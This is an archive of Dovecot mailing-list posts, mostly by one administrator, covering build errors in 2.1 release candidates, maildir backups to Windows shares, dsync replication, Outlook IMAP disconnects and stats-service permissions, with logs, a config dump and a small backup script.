-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Ralf Hildebrandt said the following on 18/02/12 20:04: I'm not sure which program insists on creating Entwürfe Outlook?;) Ciao, luigi - -- / +--[Luigi Rosa]-- \ It is apparent to me that the possibilities of the aeroplane, which two or three years ago were thought to hold the solution to the [flying machine] problem, have been exhausted, and that we must turn elsewhere. --Thomas Edison, 1895 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk8/+EUACgkQ3kWu7Tfl6ZSbogCgvIReVrSzSLg8LhtyW6d4usqh vYUAn3Br/ACxznjJ9lH0yQ5lXwLPkWvJ =OMT5 -END PGP SIGNATURE-
Re: [Dovecot] Folder name migration when moving from 2.0.x to 2.1.x?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Ralf Hildebrandt said the following on 18/02/12 20:15: I'm not sure which program insists on creating Entwürfe Outlook?;) Isn't it always? I hate this shit. Giulty by suspicion. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Airplanes are interesting toys but of no military value. --Marechal Ferdinand Foch, Professor of Strategy, Ecole Superieure de Guerre, 1904 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk8//zUACgkQ3kWu7Tfl6ZRZJgCgpZJr3p0D39ssa6glFlFnH4/X WjMAnRapaPUmf9szE1iC5YajT9/oDpXq =bmTJ -END PGP SIGNATURE-
Re: [Dovecot] v2.1.rc2 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 06/01/12 17:42: http://dovecot.org/releases/2.1/rc/dovecot-2.1.rc2.tar.gz Making all in doveadm make[3]: Entering directory `/usr/src/dovecot-2.1.rc2/src/doveadm' Making all in dsync make[4]: Entering directory `/usr/src/dovecot-2.1.rc2/src/doveadm/dsync' gcc -DHAVE_CONFIG_H -I. -I../../.. -I../../../src/lib -I../../../src/lib-test - -I../../../src/lib-settings -I../../../src/lib-master -I../../../src/lib-mail - -I../../../src/lib-imap -I../../../src/lib-index -I../../../src/lib-storage - -I../../../src/doveadm -std=gnu99 -g -O2 -Wall -W -Wmissing-prototypes - -Wmissing-declarations -Wpointer-arith -Wchar-subscripts -Wformat=2 - -Wbad-function-cast -Wstrict-aliasing=2 -I/usr/kerberos/include-MT doveadm-dsync.o -MD -MP -MF .deps/doveadm-dsync.Tpo -c -o doveadm-dsync.o doveadm-dsync.c doveadm-dsync.c:17:27: error: doveadm-dsync.h: No such file or directory doveadm-dsync.c:386: warning: no previous prototype for ‘doveadm_dsync_main’ make[4]: *** [doveadm-dsync.o] Error 1 make[4]: Leaving directory `/usr/src/dovecot-2.1.rc2/src/doveadm/dsync' make[3]: *** [all-recursive] Error 1 make[3]: Leaving directory `/usr/src/dovecot-2.1.rc2/src/doveadm' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/usr/src/dovecot-2.1.rc2/src' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/usr/src/dovecot-2.1.rc2' make: *** [all] Error 2 In fact the file doveadm-dsync.h is not in the tarball Ciao, luigi - -- / +--[Luigi Rosa]-- \ Non cercare di vincere mai un gatto in testardaggine. --Robert A. Heinlein -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk8HK68ACgkQ3kWu7Tfl6ZRCkgCgwUGMxj12NBI3p8FO0W2AIBwW uSAAn3YuEAtm5ulsvWaPuPeylK2e/Vpc =kzD0 -END PGP SIGNATURE-
Re: [Dovecot] Backing Up To Windows File Server
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Asai said the following on 14/12/11 17:52: Thanks, Luigi, I may fall back to that. Should you need it, here's the script I use to do it. In my configurations /var/spool/mail contains one dir for each domain and each of that dir contains a maildir for each domain. So the email of foo...@acme.com is in /var/spool/mail/acme.com/foobar/ The 4th line checks lostfound because /bar/spool/mail is a different file system. I create the .tgz file on local /tmp for performance reasons. TARGET=/backup for DOMAINPATH in /var/spool/mail/* do if [ ${DOMAINPATH} != /var/spool/mail/lost+found ] then DOMAIN=`echo $DOMAINPATH | cut -d '/' -f 5` for USERPATH in ${DOMAINPATH}/* do USER=`echo $USERPATH | cut -d '/' -f 6` tar cvzf /tmp/$DOMAIN-$USER.tgz $USERPATH /dev/null cp -f /tmp/$DOMAIN-$USER.tgz $TARGET/mail rm -f /tmp/$DOMAIN-$USER.tgz done fi done Ciao, luigi - -- / +--[Luigi Rosa]-- \ I don't think we have the right or the wisdom to interfere, however a planet is evolving. --James Kirk, The Omega Glory -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk7o3jYACgkQ3kWu7Tfl6ZSfpQCgvzhOJH6mnJMu8ZzvKu5y8um+ 46wAoKd0eXxBNPad9EZao7VKjZBkACer =dhk0 -END PGP SIGNATURE-
Re: [Dovecot] Backing Up To Windows File Server
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Asai said the following on 14/12/11 00:21: Working with dsync and setting up backups to a Windows file server. Problem seems to be that Windows is renaming the dovecot mail files (maildir) to Windows friendly filenames, and losing the Dovecot name. For example, 1323817925.M36368P32049.triata.globalchangemultimedia.net,S=2255,W=2318:2,S becomes 1AETPH~X. Does anyone have any ideas about how to tell Windows to not do this? Or is it not possible? Got same problem rsync-ing to some low cost NAS and, of course, windows share. My solution is to tar.gz before copying to Windows. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Ask ten different scientists about the environment, population control, genetics, and you'll get ten different answers, but there's one thing every scientist on the planet agrees on. Whether it happens in a hundred years or a thousand years or a million years, eventually our Sun will grow cold and go out. When that happens, it won't just take us. It'll take Marilyn Monroe, and Lao-Tzu, and Einstein, and Morobuto, and Buddy Holly, and Aristophanes... [and] all of this... all of this... was for nothing. Unless we go to the stars. --Jeffrey Sinclair, Infection -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk7oNjYACgkQ3kWu7Tfl6ZTaBACaAmu1MtZkcBEGxMM3iXfezLpr KEsAnjczFO4QVnIcHtvC2MbWGbU7AuO2 =cGog -END PGP SIGNATURE-
Re: [Dovecot] v2.1.rc1 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 24/11/11 01:46: http://dovecot.org/releases/2.1/rc/dovecot-2.1.rc1.tar.gz Works as advertised. I noticed this warining: Warning: fd limit (ulimit -n) is lower than required under max. load (1024 4096), because of service auth { client_limit } What does exactly means? The server we are talking about is my home server, a CentOS/64 with a dozen of mailboxes. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Computers make excellent and efficient servants, but I have no wish to serve under them. Captain, a starship also runs on loyalty to one man. And nothing can replace it or him. --Spock, The Ultimate Computer -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk7OhxwACgkQ3kWu7Tfl6ZSJ0gCeIaS5ksyVHY3O9qOSCEyWUH2V By8AoMbUNSHBBc4102vScrozTOOkOeo+ =AZaL -END PGP SIGNATURE-
Re: [Dovecot] v2.1.rc1 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Miguel Tormo said the following on 24/11/11 19:23: The fd limit is the maximum number of concurrently open file descriptors per process. It can be configured on a per-user basis. You can check the actual value running 'ulimit -n'. It can be increased up to the value set in /proc/sys/fs/file-max. You can set it editing /etc/security/limits.conf. What the above comment means is that under max load the auth service could need up to 4096 file descriptors open, that's more than the default in most linux systems (1024). However, in your case with just a dozen of mailboxes I don't think you'll need to change it. Thank you for the explaination. Ciao, luigi - -- / +--[Luigi Rosa]-- \ A woman was in love with fourteen soldiers. It was clearly platoonic. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk7OjRUACgkQ3kWu7Tfl6ZQXAwCgyD6LAUYQX7/x1PIFda5CoFjx IYsAniqFYvdk6y982XjvWsWc4G5t9zEC =70Em -END PGP SIGNATURE-
Re: [Dovecot] v2.1.alpha1 released
Timo Sirainen said the following on 01/09/11 16:53: Sep 1 16:39:43 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank Oh.. What OS is this? See what it logs with http://hg.dovecot.org/dovecot-2.1/rev/1c2d8da38a06 Sorry for the delay... Sep 2 11:03:11 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.5999 0.9000 Sep 2 11:03:21 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.5999 0.9000 Sep 2 11:03:42 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.9998 0.15997 Sep 2 11:03:42 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.3999 0.8997 Sep 2 11:03:43 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.1999 0.3999 Sep 2 11:03:45 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.6998 0.6999 Sep 2 11:03:52 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.3999 0.8997 Sep 2 11:03:54 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.10998 0.18997 Sep 2 11:03:54 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.5999 0.1 Sep 2 11:03:55 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: ucpu 0.6998 0.6999 Ciao, luigi -- / +--[Luigi Rosa]-- \ I don't think we have the right or the wisdom to interfere, however a planet is evolving. --James Kirk, The Omega Glory
Re: [Dovecot] v2.1.alpha1 released
Timo Sirainen said the following on 01/09/11 16:53: Oh.. What OS is this? See what it logs with http://hg.dovecot.org/dovecot-2.1/rev/1c2d8da38a06 Between a lot of ucpu events logged there are some like: Sep 2 11:41:52 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: minflt 787 790 Sep 2 11:42:02 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: minflt 787 790 Sep 2 11:43:42 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: diskout 140735698723992 167507184 Sep 2 11:43:52 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank: diskout 140735698723992 167507184 Ciao, luigi -- / +--[Luigi Rosa]-- \ A beer delayed is a beer denied.
Re: [Dovecot] v2.1.alpha1 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 01/09/11 16:05: Then you can use doveadm stats top/dump. did what you said, restarted dovecot, run (as root) doveadm stats top and got this in dovecot log: Error: stats: open(/var/run/dovecot//stats-mail) failed: Permission denied And the output of doveadm was simply USER SERVICE %CPU %SYS DISKIN DISKOUT # ls -al /var/run/dovecot/ total 24 drwxr-xr-x 4 rootroot 4096 Sep 1 16:25 . drwxr-xr-x 22 rootroot 4096 Sep 1 15:01 .. srw--- 1 rootroot0 Sep 1 16:25 anvil srw--- 1 rootroot0 Sep 1 16:25 anvil-auth-penalty srw--- 1 rootroot0 Sep 1 16:25 auth-client srw--- 1 dovecot root0 Sep 1 16:25 auth-login srw--- 1 rootroot0 Sep 1 16:25 auth-master srw-rw-rw- 1 rootroot0 Sep 1 16:25 auth-userdb srw--- 1 dovecot root0 Sep 1 16:25 auth-worker srw--- 1 rootroot0 Sep 1 16:25 config srw--- 1 rootroot0 Sep 1 16:25 dict srw--- 1 rootroot0 Sep 1 16:25 director-admin srw--- 1 rootroot0 Sep 1 16:25 director-userdb srw-rw-rw- 1 rootroot0 Sep 1 16:25 dns-client srw--- 1 rootroot0 Sep 1 16:25 doveadm-server lrwxrwxrwx 1 rootroot 25 Sep 1 16:25 dovecot.conf - /etc/dovecot/dovecot.conf drwxr-xr-x 2 rootroot 4096 Dec 14 2009 empty srw-rw-rw- 1 rootroot0 Sep 1 16:25 indexer srw-rw-rw- 1 rootroot0 Sep 1 16:25 indexer-worker srw--- 1 rootroot0 Sep 1 16:25 ipc srw-rw-rw- 1 rootroot0 Sep 1 16:25 lmtp drwxr-x--- 2 rootdovenull 4096 Sep 1 16:25 login - -rw--- 1 rootroot6 Sep 1 16:25 master.pid srw--- 1 rootroot0 Sep 1 16:25 stats prw--- 1 dovecot dovecot 0 Sep 1 16:25 stats-mail Ciao, luigi - -- / +--[Luigi Rosa]-- \ Zipple grelbnot horbnofg asirvnig fzouple! Or something like that. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk5flq8ACgkQ3kWu7Tfl6ZRQcQCeNbR0bBBf8Ux2pT4doiw912jO a3AAn3UPZu+xTqHXQ9XbCuxDPrrrd2vk =W99h -END PGP SIGNATURE-
Re: [Dovecot] v2.1.alpha1 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 01/09/11 16:33: Right, you'll also need to figure out proper permissions for this (or simply set mode to 0666): service stats { fifo_listener stats-mail { user = something mode = 0600 } } Works, thanks! For initial tests, I put 0666 But I got this: Sep 1 16:39:43 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank Sep 1 16:39:51 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank Sep 1 16:40:01 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank Ciao, luigi - -- / +--[Luigi Rosa]-- \ A species that enslaves other beings is hardly superior, mentally or otherwise. --James Kirk, The Gamesters of Triskelion -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk5fmY0ACgkQ3kWu7Tfl6ZSHwQCeM50dTX6RdKBKUkfCrPJcOdRz Aa8An07wqRjwYdgYsFqL04B1ZcMKWem2 =C3vb -END PGP SIGNATURE-
Re: [Dovecot] v2.1.alpha1 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 01/09/11 16:53: Sep 1 16:39:43 mail dovecot: stats: Error: Mail server input error: UPDATE-SESSION: stats shrank Oh.. What OS is this? See what it logs with http://hg.dovecot.org/dovecot-2.1/rev/1c2d8da38a06 Linux mail.hypertrek.info 2.6.18-238.19.1.el5.centos.plus #1 SMP Mon Jul 18 10:05:09 EDT 2011 x86_64 x86_64 x86_64 GNU/Linux Compiled with ./configure --with-mysql --with-ssl=openssl --sysconfdir=/etc --localstatedir=/var I'm leaving and I'll be back this evening. Will do further checks later Ciao, luigi - -- / +--[Luigi Rosa]-- \ You know you've landed gear-up when it takes full power to taxi. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk5fnOIACgkQ3kWu7Tfl6ZQIAwCgt411k13mnhYsMS64P+1YOUmQ hEoAoJA16LYtzlbRn5MOu61f02X9/SuX =CVfU -END PGP SIGNATURE-
Re: [Dovecot] Outlook 2010 IMAP disconnected
Jerry said the following on 04/02/11 15:00: Disconnected for inactivity. Protocollo: IMAP Server: mail.xxx Porta: 143 Codice errore: 0x800CCCDD I found this on an MS forum. It pertains to Outlook 2007 but may work on the 2010 version. Yesterday I made some tests with this user. Previously he had Outlook 2007 with the same settings and no problem at all. The problem arises mainly (if not only) during the initial mailbox scan. The user has more than one IMAP account configured. For now the problem seems to be solved by telling Outlook to download only the message headers during the scan and the entire message only if the user opens it. Thank you everyone fot the hints about this issue. Ciao, luigi -- / +--[Luigi Rosa]-- \ To err is human; to really screw things up requires the root password.
[Dovecot] Outlook 2010 IMAP disconnected
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 A customer moved from a previous version of Outlook to 2010. When he forces the synchronization of the IMAP folders he gets this error: Disconnected for inactivity. Protocollo: IMAP Server: mail.xxx Porta: 143 Codice errore: 0x800CCCDD Dovecot simply logs this: Feb 3 09:20:34 server dovecot: imap(): Disconnected: Logged out bytes=2488/534485 Feb 3 09:20:34 server dovecot: imap(): Disconnected: Logged out bytes=63/815 Where can I search to solve this issue? Ciao, luigi - -- / +--[Luigi Rosa]-- \ I'd be a vegetarian if bacon grew on trees. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk1KZj8ACgkQ3kWu7Tfl6ZQtHwCfTZPpFC5iHvL1+5EuxKAFlqWD DjcAn3rYU0Uwc13arHirb/5G3NuYcWX/ =LkGi -END PGP SIGNATURE-
Re: [Dovecot] Outlook 2010 IMAP disconnected
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 03/02/11 09:27: This means that Outlook actually issued a LOGOUT command. Nothing Dovecot can do about a client wanting to log out. Thank you anyway. I lowered the frequency of IDLE Still here message to 1 minute and told the user to lower the amount of messages in inbox (now are 5400). I don't' think this can be helpful because he is on a 1 Gbit LAN connection with the server. If I find something useful I will post here. Ciao, luigi - -- / +--[Luigi Rosa]-- \ At a party, the Real Programmers are the ones in the corner of the kitchen talking about Operating System security, and how to get around it. --Steve Woodford -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk1KZ+kACgkQ3kWu7Tfl6ZQYKgCgxPvP+6/H0IvsGXKCopalEOw/ 8bsAoJ71PHS8tTjV1O1zHWb0Q/1UtRPP =MHxl -END PGP SIGNATURE-
[Dovecot] dsync and active-active fault tolerance mail servers
I would like to set up an active-active fault tolerance couple of mail servers. Is the following procedure correct? Let's suppose I want to set up two servers for acme.com, mail1.acme.com and mail2.acme.com I declare both servers as MX in DNS configuration. Mailbox are stored in maildir with a single UID/GID owner for all the maildir files Userbase is MySQL, user tables are replicated using MySQL tools; in this case, the replica is one way, that is mail1.acme.com holds the master copy of MySQL tables and mail2.acme.com hold the copy. The replica is done via dsync with a procedure like this executed on mail1.acme.com server: foreach mailbox { dsync mirror mailbox } Where mailbox is the full mail address, used also as a login name for authentication. My goal is to allow users to connect the mail servers they like and have all their mail (a 10/15 minute of sync delay is acceptable). This is the theory, now some questions. 1) Use Linux user/group owner of the files and directories are the same on both hosts (they are both foobar), but have different numeric ID, in one host foobat has UID 1234 and on the other host foobar has UID 2345. Is this an issue? 2) Mail location path is the same on both hosts, but where does dsync get it? Does dsync get all the information from the userbase defined in dovecot.conf (and other included files)? 3) Have I to scan the entire userbase and execute dsync for each user, or is there a trick to do for every user with a single command? 4) How often is good to run the synchronization? 5 minutes? 10? 15? 5) What is the correct command line to invoke dsync in this scenario? 6) Does anyone else tried this? :) Thank you. Ciao, luigi -- / +--[Luigi Rosa]-- \ (1) Everything depends. (2) Nothing is always. (3) Everything is sometimes.
Re: [Dovecot] dsync and active-active fault tolerance mail servers
Timo Sirainen said the following on 21/08/2010 14.54: Maybe simply: dsync mirror -u u...@domain mail2.acme.com Timo, thank you for all your answers. I will set up a replicated active-active configuration in the following weeks and I will let you know if problems arise. Ciao, luigi -- / +--[Luigi Rosa]-- \ I'm glad I was not born before tea. --Sidney Smith (1771-1845)
Re: [Dovecot] Linux should be as easy as Windows
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dennis Clarke said the following on 18/08/10 15:41: Open source and Free software should be as easy as Windows Windows is not easy is common. In UK driving to the left is easy and driving to the right is hard. In the continentale Europer is the opposite. easy is more a point of view than a fact. Ciao, luigi - -- / +--[Luigi Rosa]-- \ A professor is one who talks in someone else's sleep. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxr/PAACgkQ3kWu7Tfl6ZT3CACeIc4KBdb1bA1+kDFeccHzxSyl ErIAoKsugpyqK4x2hMvAGIPYvEySI+Tg =YCL8 -END PGP SIGNATURE-
Re: [Dovecot] 2.0 not starting
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Luciano Mannucci said the following on 17/08/10 18:03: I have no IPV6 on my machine (as well as no IPX, appletalk... :). Is there a way to tell dovecot not trying to use non-existing protocols (or more accurately: not running protocols)? Change listen = *, :: to listen = * So Dovecot will not (try to) use non-existing (or non-configured) protocols. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Sed modo senectus morbus est, carmen vitae immoderatae hic est. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxqtScACgkQ3kWu7Tfl6ZQSQACfWafmVaQ+UkbGoqKvnjS6J67E iBIAoMBFZrtU3cufAitCW6wcZ5p+564K =kgQF -END PGP SIGNATURE-
Re: [Dovecot] Delete user data from Dovecot server
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Thiago Henrique said the following on 17/08/10 23:02: when I add a user in the database, it is automatically created in the structure of Dovecot at first login. Is there a easy way to delete a user ? You have to do it externally (from the Dovecot point of view). For instance, postfixadmin tool can run a script after you remove a user. You can do the same in the procedure you use to delete the user record. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Utility is when you have one telephone, luxury is when you have two, opulence is when you have three, and paradise is when you have none. --Doug Larson -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxrYQkACgkQ3kWu7Tfl6ZSD4gCgsbzKc1/YbeonTy+QyJvKxzeb b1IAn3jdqAmMnK1dAtMUBYkPbHcfi9dh =VMmH -END PGP SIGNATURE-
Re: [Dovecot] v2.0.0 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 16/08/10 16:49: As promised last Friday, here's the v2.0.0 release finally. I'm cautiously optimistic that v2.0.1 won't (have to) be released for a few weeks, since there was quite a lot of testing and fixing going on in the RC stage. Congratulations Timo and thank you!!! Ciao, luigi - -- / +--[Luigi Rosa]-- \ Biggest Black Hole ever Found in Nearby Galaxy. EVERYBODY PAN..IC --fark.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxpX2YACgkQ3kWu7Tfl6ZSHBACfYqBFlpHe0Cc4pRMx+b2OZZL9 P0QAoIwCuMkwS6w4SQpusyWwJWUQY+SN =k0GJ -END PGP SIGNATURE-
[Dovecot] [2.0] Experience in production environment
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I decided to put 2.0-pre3 in a couple of production environments with about 50 users each. The configuration is what I consider my own standard: Dovecot, Postfix with authentication via Dovecot, postfixadmin, maildir, userbase on MySQL. The new configuration schema is very flexible and much better than the monolithic file. The configuration conversion utility is very useful. No issue to report, the logfile is clean. The only difference between 2.0 and the previous version is the RIM server. Some users have configured their blackberry to synchronize the phone with their mailbox in IMAP. Previously RIM kept a connection open, after upgrading to 2.0, RIM opens a connection and then closes it. This is not an issue, because the synchronization is ok, and I think that is better this way than to keep an oper socket. Just for curiosity: it happens only to me and why this happens? Ciao, luigi - -- / +--[Luigi Rosa]-- \ We believe that no race can be truly intelligent without laughter. --Delenn, A Race Through Dark Places, Babylon 5 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxObh8ACgkQ3kWu7Tfl6ZQatQCfXmYcX7Ke1j76oV41UXr/naU1 gOcAoLw5aRqpynI3EBQW546ja35+Pxoa =tube -END PGP SIGNATURE-
[Dovecot] [2.0] Auth Cache
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Is there a way to trace the auth cache? Something like how many items are in the chache, how many bytes of the cache are used Thank you. Ciao, luigi - -- / +--[Luigi Rosa]-- \ In a dark time the eye begins to see. --Theodore Roethke -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxInjwACgkQ3kWu7Tfl6ZQWrgCdEL9wy33xQiwU+ORKi5bNOawm DC4AnRci869XpYobkHfhw+b1WnapiJqk =cyE5 -END PGP SIGNATURE-
Re: [Dovecot] [2.0] Auth Cache
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 22/07/10 21:41: Send a SIGUSR2 signal to auth process and look at logs. Actually, it's even documented: http://wiki.dovecot.org/Authentication/Caching Thank you! I was searching for this feature in doveadm. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Eli and Bessie went to sleep. In the middle of the night, Bessie nudged Eli. Please be so kindly and close the window. It's cold outside! Half asleep, Eli murmured, Nu ... so if I'll close the window, will it be warm outside? -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxIoUMACgkQ3kWu7Tfl6ZSCHQCfeYx3BVs1lIyQ/gesMM0sr2wi bZ8AoMP+609XTZh1VmsbmhLlwiDPbFjM =5FnL -END PGP SIGNATURE-
Re: [Dovecot] v2.0.rc3 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 20/07/10 22:57: Don't really know if it is a bug, probably not. Even setting ssl = no Dovecot tries to open ssl_cert and ssl_key files. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Caution: breathing may be hazardous to your health. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxHJ00ACgkQ3kWu7Tfl6ZRHNwCgjTkXY9VV9ZA85BlIKkO4ghQo YtkAoItiqtTA3R4dUyv752PRr+jpVHEq =34Kg -END PGP SIGNATURE-
[Dovecot] Strange doveadm behaviour (was: v2.0.rc1 released)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 02/07/10 22:22: http://dovecot.org/releases/2.0/rc/dovecot-2.0.rc1.tar.gz http://dovecot.org/releases/2.0/rc/dovecot-2.0.rc1.tar.gz.sig I compiled and installed the latest version on a CentOS x64 server and I started playing with doveadm to familiarize with it. I noticed this: # doveadm -D user * doveadm(root): Debug: Loading modules from directory: /usr/local/lib/dovecot/doveadm doveadm(root): Error: dlopen(/usr/local/lib/dovecot/doveadm/lib10_doveadm_expire_plugin.so) failed: /usr/local/lib/dovecot/doveadm/lib10_doveadm_expire_plugin.so: undefined symbol: expire_set_lookup doveadm(root): Error: dlopen(/usr/local/lib/dovecot/doveadm/lib10_doveadm_quota_plugin.so) failed: /usr/local/lib/dovecot/doveadm/lib10_doveadm_quota_plugin.so: undefined symbol: quota_user_module userdb lookup: user XXX*** doesn't exist userdb lookup: user XXX*** doesn't exist userdb lookup: user dovecot doesn't exist userdb lookup: user dovecotpw doesn't exist userdb lookup: user XXX*** doesn't exist userdb lookup: user XXX*** doesn't exist Of course instead of XXX*** the utility wrote something else. I discovered that all userdb lookup: lines list the actual content of /usr/local/sbin directory. I only use MySQL userdb and passdb Dovecot has been compiled with this configure command line: ./configure --with-mysql --with-ssl=openssl --sysconfdir=/etc --localstatedir=/var # doveconf -n # 2.0.rc1: /etc/dovecot/dovecot.conf # OS: Linux 2.6.18-194.8.1.el5 x86_64 CentOS release 5.5 (Final) auth_cache_negative_ttl = 3600 s auth_cache_size = 1048576 auth_mechanisms = plain login digest-md5 cram-md5 auth_verbose = yes base_dir = /var/run/dovecot/ disable_plaintext_auth = no login_greeting = Ready. login_trusted_networks = **/24 passdb { args = /etc/dovecot/** driver = sql } postmaster_address = postmas...@example.com protocols = imap service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } ssl_cert = /etc/dovecot/ ssl_key = /etc/dovecot/*** ssl_parameters_regenerate = 200 syslog_facility = local5 userdb { args = /etc/dovecot/*** driver = sql } verbose_proctitle = yes protocol imap { imap_client_workarounds = tb-extra-mailbox-sep } Ciao, luigi - -- / +--[Luigi Rosa]-- \ Genius doesn't work on an assembly line basis. You can't simply say, Today I will be brilliant. --Kirk, The Ultimate Computer -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkwvf+wACgkQ3kWu7Tfl6ZTSHQCdGWTS0dLrY8WI5v9hOLxzuKVH 41cAoLWHbguQ3Yj0/Uq9pksOBNOyjHXW =dUAd -END PGP SIGNATURE-
Re: [Dovecot] Strange doveadm behaviour
